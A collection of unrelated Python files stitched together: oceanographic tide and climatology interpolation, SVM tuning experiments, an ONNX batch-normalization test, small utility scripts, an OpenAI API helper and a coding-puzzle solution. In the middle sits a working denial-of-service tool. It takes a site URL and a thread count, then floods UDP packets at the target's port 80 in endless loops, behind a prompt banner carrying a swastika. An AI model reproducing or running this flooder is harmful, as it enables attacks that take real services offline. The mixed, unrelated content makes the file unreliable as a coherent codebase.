    S, T : 3D arrays
    """

    # Read in the boundary describing the KG mesh
    kg_bnd_lon, kg_bnd_lat = np.genfromtxt(
        '/home/hugke729/PhD/Data/TS_climatology/Kliem_Greenberg/derived/' +
        'approx_inner_boundary.txt', delimiter=',', skip_header=1)
    bnd_x, bnd_y = m(kg_bnd_lon, kg_bnd_lat)

    # Convert to matplotlib Path object
    kg_path = Path(np.c_[bnd_x, bnd_y])
    grid_pts = np.c_[X_c.flatten(), Y_c.flatten()]

    # Find points inside
    inside = kg_path.contains_points(grid_pts).reshape(X_c.shape)
    weights = gaussian_filter(inside.astype(float), filter_sigma)
    kg_wts, qd_wts = weights[..., np.newaxis], 1 - weights[..., np.newaxis]

    # Project each climatology to new grid unless specified as inputs
    LON_c, LAT_c = m(X_c, Y_c, inverse=True)
    if ST_kg is None:
        S_kg, T_kg = project_kliem_greenberg_climatology(X_c, Y_c, m, z_out)
    else:
        S_kg, T_kg = ST_kg
    if ST_qd is None:
        S_qd, T_qd = project_quarter_degree_climatology(LON_c, LAT_c, z_out)
    else:
        S_qd, T_qd = ST_qd

    # Ensure arrays are masked
    S_kg, T_kg, S_qd, T_qd = map(ma.masked_invalid, [S_kg, T_kg, S_qd, T_qd])

    # Weighted average of the two datasets
    # Weights are effectively 0 or 1 well away from the boundary path
    wts_total = kg_wts*~S_kg.mask + qd_wts*~S_qd.mask
    S = (kg_wts*ma.filled(S_kg, 0) + qd_wts*ma.filled(S_qd, 0))/wts_total
    T = (kg_wts*ma.filled(T_kg, 0) + qd_wts*ma.filled(T_qd, 0))/wts_total

    # Zeros and NaNs are introduced by the previous step, so remove these
    # Will leave zeros for temperature just in case
    S = ma.masked_equal(ma.masked_invalid(S), 0)
    T = ma.masked_invalid(T)

    return S, T

def deepen_nares_st(m, X_c, Y_c, depth):
    """Artificially deepen Nares Strait

    Then it can act as if it is Fram Strait and allow SSH difference to be
    set up

    Inputs
    ------
    m : Basemap object
    X_c, Y_c : 2D arrays
        Location of cell centres
    depth : 2D array
        Bathymetry to be converted

    Returns
    -------
    new_depth : 2D array
        Same as input depth, but with Nares Strait deepened
    """

    # Polygon describing new, widened Nares Strait
    lons = np.r_[-79.916, -75.896, -65.234, -64.456, -71.386, -75.576, -76.378,
                 -75.9, -72.876, -70.765, -67.603, -66.75, -66.547, -62.286,
                 -53.185, -49.028, -48.363, -59.415, -64.639]
    lats = np.r_[84.144, 83.861, 82.821, 81.974, 80.079, 79.182, 77.987,
                 76.732, 75.43, 75.475, 75.067, 75.991, 77.473, 79.089,
                 80.679, 81.63, 82.559, 84.01, 84.43]

    # Convert to map units, then matplotlib Path
    xs, ys = m(lons, lats)
    p = Path(np.c_[xs, ys])

    # Find all grid points within box
    inside_inds = p.contains_points(np.c_[X_c.flatten(), Y_c.flatten()])
    inside_inds = inside_inds.reshape(X_c.shape)

    # Convolve inside_inds with square box to get an array of wts that is
    # 1 in the middle of the box, 0 well outside and 0 to 1 near edges

    # Using a kernel with specified width
    smooth_kernel = 100  # Distance in kilometres
    x, y = X_c[:, 0], Y_c[0, :]
    x_km, y_km = x.max()/1e3, y.max()/1e3

    # Set Nx and Ny for convolution (scale down from number of kms for speed)
    # Note that smooth_kernel is dependent on Nx and Ny so scale this
    # by the same amount
    fac = 10
    Nx, Ny, smooth_kernel = [int(a/fac) for a in [x_km, y_km, smooth_kernel]]

    # Create 2D kernel
    kernel = np.ones((smooth_kernel, smooth_kernel))
    wts = uneven_2D_convolve(
        inside_inds, x, y, kernel, Nx=Nx, Ny=Ny)/kernel.size

    # Calculate new depth by setting 600 m as depth of Nares St and smoothly
    # converting back to real bathymetry
    to_change = wts > 0.05
    new_depth = depth.copy()
    new_depth[to_change] = 600*wts[to_change] + (new_depth*(1-wts))[to_change]

    return new_depth

def project_tide(X_c, Y_c, m, constituents, return_velocity=False):
    """
    Inputs
    ------
    X_c, Y_c : 2D arrays
        Locations of the centres of the grid cells for the output hydrography
    m : basemap object
        Basemap associated with X_c and Y_c
    constituent : str or list of strings
        Any of S2, 01, N2, M4, K1
    return_velocity : bool
        Whether to return barotropic velocities

    Returns
    -------
    amp : 2D array or list of 2D arrays
        Tidal amplitude for given constituents (metres)
    phase : 2D array or list of 2D arrays
        Tidal phase in degrees for given constituents
    U, V : 2D arrays
        Velocities for given constituents
    """

    tide_data_dir = '/home/hugke729/Programs/WebTide/data/arctic9/'

    # Read in mesh information
    node_file = tide_data_dir + 'arctic9.nod'
    node_no, lon_tide, lat_tide = np.genfromtxt(node_file, unpack=True)
    node_no = node_no.astype('int')
    X_tide, Y_tide = m(lon_tide, lat_tide)

    # Calculate vertices and weights to project to model grid
    vtx, wts = interp_weights((X_tide, Y_tide), (X_c, Y_c))

    # Create blank list to append results to
    amp = []
    phase = []
    u, u_phase = [], []
    v, v_phase = [], []

    # Ensure constituents is a list
    if type(constituents) is str:
        constituents = [constituents]

    # Read in information for given tide
    for const in constituents:
        constituent_file = tide_data_dir + const.upper() + '.barotropic.s2c'
        amp_node, phase_node = np.genfromtxt(
            constituent_file, skip_header=3, usecols=[1, 2], unpack=True)

        if return_velocity:
            vel_file = constituent_file.replace('s2c', 'v2c')
            no, u_a, u_p, v_a, v_p = np.genfromtxt(
                vel_file, skip_header=3, unpack=True)

        def tmp_interpolate(X):
            return interpolate(X, vtx, wts, np.nan).reshape(X_c.shape)

        def interpolate_phase(X):
            """
            Do phase interp multiple times with different wrapping points.
            Then convert back to original wrapping.
            Then take median
            """
            filterwarnings('ignore', 'All-NaN slice*.')
            wraps = np.r_[0:360:7j][1:]
            phases = np.zeros((X_c.shape[0], X_c.shape[1], len(wraps)))
            for i, wrap_out in enumerate(wraps):
                phase_nodes = change_wrap(X, 180, wrap_out)
                phases_i = tmp_interpolate(phase_nodes)
                phases[..., i] = change_wrap(phases_i, wrap_out, 180)

            return np.nanmedian(phases, axis=-1)

        if return_velocity:
            u += [tmp_interpolate(u_a)]
            u_phase += [interpolate_phase(u_p)]
            v += [tmp_interpolate(v_a)]
            v_phase += [interpolate_phase(v_p)]

        # Project to model grid
        amp += [tmp_interpolate(amp_node)]

        # Add current constituent to list
        phase += [interpolate_phase(phase_node)]

    # Sum up velocities to get U0 and V0
    U0, V0 = np.zeros_like(X_c), np.zeros_like(X_c)
    for u_i, u_i_phase, v_i, v_i_phase in zip(u, u_phase, v, v_phase):
        # Using cos here as that is what's used in SSHR package
        U0 += u_i*cosd(u_i_phase)
        V0 += v_i*cosd(v_i_phase)

    # Convert list to array if appropriate
    if len(amp) == 1:
        amp, phase = amp[0], phase[0]

    if return_velocity:
        return amp, phase, U0, V0
    else:
        return amp, phase

def project_and_extrapolate_tide(
        X_c, Y_c, m, constituents, leave_mask=None, update_progress=1,
        return_velocity=False):
    """
    Project tidal amplitude and phases for given constituents onto new grid

    Then extrapolate empty region using inpaint_nans

    Inputs
    ------
    X_c, Y_c : 2D arrays
        Locations of the centres of the grid cells for the output hydrography
    m : basemap object
        Basemap associated with X_c and Y_c
    constituents : str or list of strings
        Any of S2, 01, N2, M4, K1
    leave_mask : 2D boolean array
        Argument passed to inpaint_nans
    update_progress : (0, 1, or 2)
        Level of updates printed
        0 = no updates
        1 = update after each constituent
        2 = update all steps of inpaint_nans
    return_velocity : bool
        Whether to return velocities corresponding to time 0

    Returns
    -------
    amp : 2D array or list of 2D arrays
        Tidal amplitude for given constituent (metres)
    phase : 2D array or list of 2D arrays
        Tidal phase in degrees for given constituent
    U0, V0 : 2D arrays
        Barotropic tidal current velocities
    """
    A, P, U0, V0 = project_tide(X_c, Y_c, m, constituents,
                                return_velocity=True)

    # Ensure A and P are within a list even if only one constituent
    if type(A) is not list:
        one_constituent = True
        A, P = [[X] for X in [A, P]]
    else:
        one_constituent = False

    springs = get_springs(A[0], leave_mask)

    inpaint_opts = dict(
        springs=springs, update_progress=update_progress,
        leave_mask=leave_mask)
    if update_progress == 1:
        # If 0, it is already False. If it is 1, we don't want inpaint_nans
        # to update the progress
        inpaint_opts['update_progress'] = False

    for i, (A_i, P_i) in enumerate(zip(A, P)):
        C = constituents if one_constituent else constituents[i]
        if update_progress >= 1:
            print('Calculating ' + C + ' tide', flush=True)
        A[i] = inpaint_nans(A_i, (X_c, Y_c), **inpaint_opts)
        P[i] = inpaint_nans(P_i, (X_c, Y_c), **inpaint_opts)

    if return_velocity:
        U0 = inpaint_nans(U0, (X_c, Y_c), **inpaint_opts)
        V0 = inpaint_nans(V0, (X_c, Y_c), **inpaint_opts)

    # Return A and P to array if only one constituent given
    if len(A) == 1:
        A, P = A[0], P[0]

    if return_velocity:
        return A, P, U0, V0
    else:
        return A, P


# -*- coding: utf-8 -*-
__author__ = 'Kay'

import numpy as np
from sklearn.svm import SVC
from sklearn.svm.libsvm import cross_validation
from sklearn.datasets import load_svmlight_file
from sklearn.externals import joblib
from sklearn.metrics import accuracy_score, f1_score

'''
SVM K-means 交叉验证结果：
32768.0 0.00048828125 58.1152
0.03125 0.0078125 62.8272
8.0 0.5 57.0681
8.0 0.5 63.3508
8.0 8.0 67.0157

2015-10-28

调参结果：

三分类：
0 32768.0 0.00048828125 58.1152
1 0.03125 0.0078125 67.0157 pity
2 0.03125 0.0078125 52.356 pity
3 512.0 0.03125 61.2565
4 8.0 2.0 68.0628

二分类：
0 2048.0 0.00048828125 61.2565
1 32.0 0.5 65.9686

2015-11-13

调参结果

    param = '-t 2 -c 32768.0 -g 0.00048828125' # 3-close √
    param = '-t 2 -c 512.0 -g 0.0078125' # 3-open √
    param = '-t 2 -c 2048.0 -g 0.00048828125' # 3-high √
    param = '-t 2 -c 8.0 -g 0.5' # 3-low √
    param = '-t 2 -c 8.0 -g 8.0' # 3-volume √

    param = '-t 2 -c 2048.0 -g 0.00048828125' # 2-close
    param = '-t 2 -c 32.0 -g 0.5' # 2-open

'''

# X, y = load_svmlight_file('../data/proportion/SVM_DATA/class3_GOAL0.txt')
# clf = SVC(C=32768.0, gamma=0.00048828125, probability=True)

# X, y = load_svmlight_file('../data/proportion/SVM_DATA/class3_GOAL1.txt')
# clf = SVC(C=512.0, gamma=0.0078125, probability=True)

# X, y = load_svmlight_file('../data/proportion/SVM_DATA/class3_GOAL2.txt')
# clf = SVC(C=2048, gamma=0.00048828125, probability=True)

# X, y = load_svmlight_file('../data/proportion/SVM_DATA/class3_GOAL3.txt')
# clf = SVC(C=8.0, gamma=0.5, probability=True)

# X, y = load_svmlight_file('../data/proportion/SVM_DATA/class3_GOAL4.txt')
# clf = SVC(C=8 , gamma=8, probability=True)

# X, y = load_svmlight_file('../data/proportion/SVM_DATA/class2_GOAL0.txt')
# clf = SVC(C=2048, gamma=0.00048828125, probability=True)

# X, y = load_svmlight_file('../data/proportion/SVM_DATA/class2_GOAL1.txt')
# clf = SVC(C=32, gamma=0.5, probability=True)

# EMOTION-SELECTED

# X, y = load_svmlight_file('../data/proportion/SVM_DATA/selected_class3_GOAL0.txt')
# clf = SVC(C=32768.0, gamma=2, probability=True)

# X, y = load_svmlight_file('../data/proportion/SVM_DATA/selected_class3_GOAL1.txt')
# clf = SVC(C=2, gamma=8, probability=True)

# X, y = load_svmlight_file('../data/proportion/SVM_DATA/selected_class3_GOAL2.txt')
# clf = SVC(C=512, gamma=0.0078125, probability=True)

# X, y = load_svmlight_file('../data/proportion/SVM_DATA/selected_class3_GOAL3.txt')
# clf = SVC(C=8.0, gamma=2, probability=True)

# X, y = load_svmlight_file('../data/proportion/SVM_DATA/selected_class3_GOAL4_sadness_fear.txt')
# clf = SVC(C=8 , gamma=8, probability=True)

# X, y = load_svmlight_file('../data/proportion/SVM_DATA/selected_class2_GOAL0.txt')
# clf = SVC(C=128, gamma=0.5, probability=True)

# X, y = load_svmlight_file('../data/proportion/SVM_DATA/selected_class2_GOAL1.txt')
# clf = SVC(C=8, gamma=2, probability=True)

if __name__ == '__main__':
    # 五分类
    # params = [
    #     {'C': 2.0, 'gamma': 0.25},
    #     {'C': 2.0, 'gamma': 0.125},
    #     {'C': 4.0, 'gamma': 0.25},
    #     {'C': 16, 'gamma': 0.125},
    #     {'C': 2.0, 'gamma': 2.0},
    # ]

    # 七分类
    # params = [
    #     {'C': 2, 'gamma': 1.0},
    #     {'C': 8, 'gamma': 0.3125},
    #     {'C': 2, 'gamma': 2},
    #     {'C': 0.625, 'gamma': 32},
    #     {'C': 2.0, 'gamma': 0.5},
    # ]

    # User 0 - 三分类
    params = [
        {'C': 4, 'gamma': 1},
        {'C': 1, 'gamma': 1},
        {'C': 2, 'gamma': 0.5},
        {'C': 2, 'gamma': 0.5},
        {'C': 1, 'gamma': 0.5},
    ]

    # User 1 - 三分类
    # params = [
    #     {'C': 4, 'gamma': 1},
    #     {'C': 2, 'gamma': 1},
    #     {'C': 2, 'gamma': 0.5},
    #     {'C': 2, 'gamma': 0.5},
    #     {'C': 1, 'gamma': 1},
    # ]

    # User 2 - 三分类
    # params = [
    #     {'C': 1, 'gamma': 1},
    #     {'C': 0.0009765625, 'gamma': 0.0009765625},
    #     {'C': 0.5, 'gamma': 16},
    #     {'C': 0.0009765625, 'gamma': 0.0009765625},
    #     {'C': 1, 'gamma': 1},
    # ]

    # 读取数据
    train_data = np.loadtxt('../data/proportion/训练数据/20141201-20150916_比例_三分类_true.txt')
    test_data = np.loadtxt('../data/proportion/测试数据/20150917-20151207_比例_三分类_true.txt')

    # train_data = np.loadtxt('../data/proportion/训练数据/user_0_true.csv')
    # test_data = np.loadtxt('../data/proportion/测试数据/user_0_true.csv')

    # raw_data = np.loadtxt('../data/proportion/20141201-20150916_比例_五分类_true.txt')
    # raw_data = np.loadtxt('../data/proportion/20141201-20150916_比例_七分类_true.txt')
    # raw_data = np.loadtxt('../data/proportion/classify/kmeans_3_class.txt')

    X_train = train_data[:, 5:]
    X_test = test_data[:, 5:]

    for i in range(5):
        print('-' * 20, i, '-' * 20)
        p = params[i]
        y_train = train_data[:, i]
        y_test = test_data[:, i]

        clf = SVC(C=p['C'], gamma=p['gamma'])
        clf.fit(X_train, y_train)
        y_hat = clf.predict(X_train)
        print('train >>>')
        print('预测结果:', y_hat)
        print('实际结果:', y_train)
        print('准确率: %.2f' % clf.score(X_train, y_train))
        print('f1-score: %.2f' % f1_score(y_train, y_hat, average='macro'))
        # joblib.dump(clf, '../model/20170410/user_0_{}.mod'.format(i))

        # clf = joblib.load('../model/20170410/user_0_{}.mod'.format(i))
        print('test >>>')
        print('预测结果:', clf.predict(X_test))
        print('实际结果:', y_test)
        print('准确率:', clf.score(X_test, y_test))
        print()


#batchnormalisation

import onnx
from onnx import helper
from onnx import numpy_helper
from onnx import AttributeProto, TensorProto, GraphProto
import numpy as np
from Compare_output import compare

# Create the inputs (ValueInfoProto)
X = helper.make_tensor_value_info('X', TensorProto.FLOAT, [1, 2, 1, 3])
S = helper.make_tensor_value_info('S', TensorProto.FLOAT, [2,])
BIAS = helper.make_tensor_value_info('BIAS', TensorProto.FLOAT, [2,])
MEAN = helper.make_tensor_value_info('MEAN', TensorProto.FLOAT, [2,])
VAR = helper.make_tensor_value_info('VAR', TensorProto.FLOAT, [2,])

# Create one output (ValueInfoProto)
Y = helper.make_tensor_value_info('Y', TensorProto.FLOAT, [1, 2, 1, 3])

# Create a node (NodeProto)
node_def = helper.make_node(
    'BatchNormalization',
    inputs=['X', 'S', 'BIAS', 'MEAN', 'VAR'],
    outputs=['Y'],
)

# Create the graph (GraphProto)
graph_def = helper.make_graph(
    [node_def],
    'test-model',
    [X, S, BIAS, MEAN, VAR],
    [Y],
)

# Create the model (ModelProto)
model_def = helper.make_model(graph_def, producer_name='onnx-batchnormalization1')
print('The model is:\n{}'.format(model_def))
onnx.checker.check_model(model_def)
print('The model is checked!')

# Save the ONNX model
import os
path = os.getcwd()
new_model_path = os.path.join(path, '../onnx_generated_models/batchnormalization1.onnx')
onnx.save(model_def, new_model_path)
print('The model is saved.')

# Preprocessing: load the ONNX model (Loading an already exisisting model)
model_path1 = os.path.join(path, '../onnx_generated_models/batchnormalization1.onnx')
onnx_model1 = onnx.load(model_path1)
print('The model is:\n{}'.format(onnx_model1))

def _batchnorm_test_mode(x, s, bias, mean, var, epsilon=1e-5):  # type: ignore
    dims_x = len(x.shape)
    dim_ones = (1,) * (dims_x - 2)
    s = s.reshape(-1, *dim_ones)
    bias = bias.reshape(-1, *dim_ones)
    mean = mean.reshape(-1, *dim_ones)
    var = var.reshape(-1, *dim_ones)
    return s * (x - mean) / np.sqrt(var + epsilon) + bias

# input size: (1, 2, 1, 3)
x = np.array([[[[-1, 0, 1]], [[2, 3, 4]]]]).astype(np.float32)
s = np.array([1.0, 1.5]).astype(np.float32)
bias = np.array([0, 1]).astype(np.float32)
mean = np.array([0, 3]).astype(np.float32)
var = np.array([1, 1.5]).astype(np.float32)
y_actual = _batchnorm_test_mode(x, s, bias, mean, var).astype(np.float32)

#Running the model using ONNX Runtime
import onnxruntime as rt
import numpy
sess = rt.InferenceSession("../onnx_generated_models/batchnormalization1.onnx")
input_name = sess.get_inputs()[0].name
input_name1 = sess.get_inputs()[1].name
input_name2 = sess.get_inputs()[2].name
input_name3 = sess.get_inputs()[3].name
input_name4 = sess.get_inputs()[4].name
label_name = sess.get_outputs()[0].name

y_pred = sess.run(
        [label_name], {input_name: x.astype(numpy.float32),
        input_name1: s.astype(numpy.float32), input_name2: bias.astype(numpy.float32),
        input_name3: mean.astype(numpy.float32), input_name4: var.astype(numpy.float32)})

print("The predicted output for the operation: BatchNormalization")
print(y_pred)

y_pred = np.asarray(y_pred) #converting list into an array
print(y_pred.shape)

y_pred = np.squeeze(y_pred, axis=0)
print(y_pred.shape)

compare(y_actual, y_pred)


import os

my_list = []

print(len(my_list))

my_directory = os.getcwd()
print(my_directory)

lineas_de_texto = []

print("Ingrese el contenido de su receta. Presione Enter en una línea vacía para finalizar.")

while True:
    linea = input()

    if not linea:
        break

    lineas_de_texto.append(linea)

texto_completo = '\n'.join(lineas_de_texto)

my_file = open("test_escribir_receta.txt", "w")
my_file.write(texto_completo)
my_file.close()


import time
import socket
import sys
import _thread
from colorama import Fore
from modules import main
main.banner()
main.ddos_main()
main_ = input(Fore.RED+" ┌─["+Fore.LIGHTGREEN_EX+"irnofoz"+Fore.BLUE+"~"+Fore.WHITE+"@HOME"+Fore.RED+"/"+Fore.CYAN+"DDOS"+Fore.RED+"/"+Fore.LIGHTYELLOW_EX+"Start"+Fore.RED+"/"+Fore.GREEN+"....."+Fore.RED+"""]
 └──╼ 卐 """).lower()
if main_ == "1":
    site = input("site url => ")
    thread_count = input("te dad hamle ha => ")

    ip = socket.gethostbyname(site)

    UDP_PORT = 80
    MESSAGE = "Miltone"
    print("IP:", ip)
    print("port:", UDP_PORT)
    time.sleep(3)

    def ddos(i):
        while 1:
            sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            sock.sendto(bytes(MESSAGE,"UTF-8"), (ip, UDP_PORT))
            print(Fore.GREEN + "Poket ersal shod\n")

    for i in range(int(thread_count)):
        try:
            _thread.start_new_thread(ddos, ("Thread-" + str(i),))
        except KeyboardInterrupt:
            sys.exit(0)

    while 1:
        pass


import inspect
import logging
from opaw.util import log
import time
import copy
import json
import os
from os.path import join
from datetime import datetime
import openai
import traceback

default_models = {
    "chat": "gpt-3.5-turbo",
    "completion": "text-davinci-003",
    "image": "DALL-E",
    "audio": "whisper-1",
    "embedding": "text-embedding-ada-002",
    "file": "",
    "finetune": "curie",
    "moderation": "text-moderation-latest",
    "edit": "text-davinci-edit-001"
}

def setup(api_key_file="openai-api-key.txt"):
    logger = log.get("opaw")
    # remove logger file handler
    logger.handlers = [h for h in logger.handlers if not isinstance(h, logging.FileHandler)]

    key = None
    try:
        with open(api_key_file) as file:
            key = file.read()
    except FileNotFoundError:
        logger.warning(f"No file: {api_key_file} for openai api key.")
        logger.warning("Searching environment variable: \"OPENAI_API_KEY\"...")

        # env var
        key = os.environ.get("OPENAI_API_KEY")
        if key is None:
            logger.warning("There's no environment variable: \"OPENAI_API_KEY\".")
    finally:
        if key is None:
            logger.warning("Failed to find openai api key.")
            logger.warning(f"Create a \"{api_key_file}\" file or set environment variable: \"OPENAI_API_KEY\".")
        else:
            try:
                openai.api_key = key
                logger.info("OpenAI API key is setup!")
                openai.Model.list()  # test for the api_key is valid or not
            except Exception as e:
                traceback.print_exc()
                time.sleep(0.1)
                logger.warning("Your API key has a problem. Check here: "
                               "https://platform.openai.com/docs/guides/error-codes/api-errors")

def models():
    r = openai.Model.list()
    return [model["id"] for model in r["data"]]

def mkdirs(file):
    if not os.path.exists(file):
        parent_dir = os.path.dirname(file)
        mkdirs(parent_dir)
        os.makedirs(file, exist_ok=True)

def filter_args(data):
    """
    remove special arguments
    :param data: history or messages (format: [{}, {}, {}...])
    """
    common_args = ["type", "created", "from"]
    etc_args = ["task", "memo"]
    remove_args = common_args + etc_args

    data = copy.deepcopy(data)
    return [{k: v for k, v in e.items() if k not in remove_args} for e in data]

def pprint(d):
    """
    Pretty print
    """
    print(pprints(d))

def pprints(d):
    """
    Pretty print string
    """
    return json.dumps(d, indent="\t")

def func_meta(name, desc, properties, required):
    """
    Gets function call format with given args

    :param name: function name
    :param desc: function description
    :param properties: [[<name>, <type>, <desc>], [...]...]
    :param required: the required args (str list)
    :return:
    """
    function = {
        "name": name,
        "description": desc,
        "parameters": {
            "type": "object",
            "properties": {},
            "required": required,
        },
    }

    # add properties
    props = function["parameters"]["properties"]

    if not isinstance(properties[0], list):  # wrap with list if not nested list
        properties = [properties]

    for prop in properties:
        props[prop[0]] = {"type": prop[1], "description": prop[2]}

    return function

def func_args(func):
    """
    Gets function arguments
    :param func: function
    :return: list of arguments
    """
    signature = inspect.signature(func)
    return list(signature.parameters.keys())

def pop_func_args(func, dic):
    """
    extract(pop) function arguments from kargs
    """
    args = func_args(func)
    return {k: dic.pop(k) for k in args if k in dic}

# main
if __name__ == '__main__':
    print('go')
    mkdirs("a/b/c.txt")


def solution(brown, yellow):
    answer = []
    for i in range(1, yellow+1):
        if yellow % i == 0:
            garo = int(yellow/i)
            sero = i
            if brown == (garo+sero) *2 + 4:
                answer.append(garo+2)
                answer.append(sero+2)
                break

    return answer

brown1 = 10
yellow1 = 2

brown2 = 8
yellow2 = 1

brown3 = 24
yellow3 = 24

print(solution(brown1, yellow1))
print(solution(brown2, yellow2))
print(solution(brown3, yellow3))


import os,time
from basic import adb_test,get_screen

adb_test()

def screenshot(mode=0,sleep=3,name=''):
    """
    mode:int类型,0为截图命名为时间,1为截图命名为screenshot+数字
    sleep:int类型,
    name:str类型,保存的文件名,如果存在且不为空字符串则以该参数命名截图
    return:None
    """
    if mode == 0 and name == '':
        time_now = time.strftime("%Y-%m-%d %H.%M.%S",time.localtime())
        get_screen(save_location = f'./imgs/develop/{time_now}.png')

    elif mode == 1 and name != '':
        img_list = os.listdir(path='./imgs/develop')
        copy_list=img_list.copy()

        for i in img_list:
            if 'screenshot' in i:
                copy_list.remove(i)
        number = len(img_list)-len(copy_list)
        get_screen(save_location = f'./imgs/develop/screenshot{number}.png')

    elif name != '':
        get_screen(save_location = f'./imgs/develop/{name}.png')
    time.sleep(sleep)
    return

while True:
    screenshot(1)
    print('完成！')